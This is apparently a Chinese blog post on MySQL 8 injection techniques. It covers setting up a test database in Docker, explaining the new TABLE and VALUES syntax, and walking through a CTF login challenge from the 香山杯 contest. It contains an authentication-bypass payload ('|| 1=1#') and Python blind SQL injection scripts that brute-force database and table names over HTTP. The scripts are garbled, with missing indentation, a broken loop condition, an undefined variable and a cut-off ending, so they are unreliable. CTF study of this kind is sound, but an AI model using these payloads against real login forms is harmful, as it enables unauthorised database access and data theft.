前言
最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。
环境搭建
我这里是用docker在服务器上拉的,然后用navicat来看的
下载
docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21
进入mysql容器,并登陆mysql
docker exec -it mysql8 bash
mysql -uroot -p
//然后输入密码
开启远程访问权限
use mysql;
select host,user from user;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
flush privileges;
连进去看看版本号就可以了,如果是8.0.21则环境搭建完成
基础知识
本次测试所用到的user表内容如下
在MYSQL8以后出现的新语法,作用和select类似。
作用:列出表中全部内容
语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
table user order by 2
table user limit 2
与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
注意事项 比较问题1(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)
结果
TABLESOACE_NAME
tmp/user
这里用小于号进行比较
select (('u','')
香山杯---login
这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。
描述题目内容:只是一个简单的登录框,登录就有flag。
hint: mysql8新特性:values的利用
解题过程
进去就一个登陆框,直接抓包看看
发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵
简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。
这里还可以用||来进行拼接。
测试,发现这样就可以进行注入。
username=123' || 1=1#&password=456&login=login
脚本
import requests
flag=''
i=0
while True:
small=32
big=127
i=i+1
while small>1
data={
'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
'password':'1',
}
r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)
if '密码错误' in r.text:
small=mid+1
else:
big=mid
if(i>4):
break
else:
print(chr(small))
flag+=chr(small)
print(flag)
通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(0,50):
for j in range(48,122):
data = {
# 'username':"a0'||(('1','admin','%s')
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?
立即登录/注册


微信扫码登录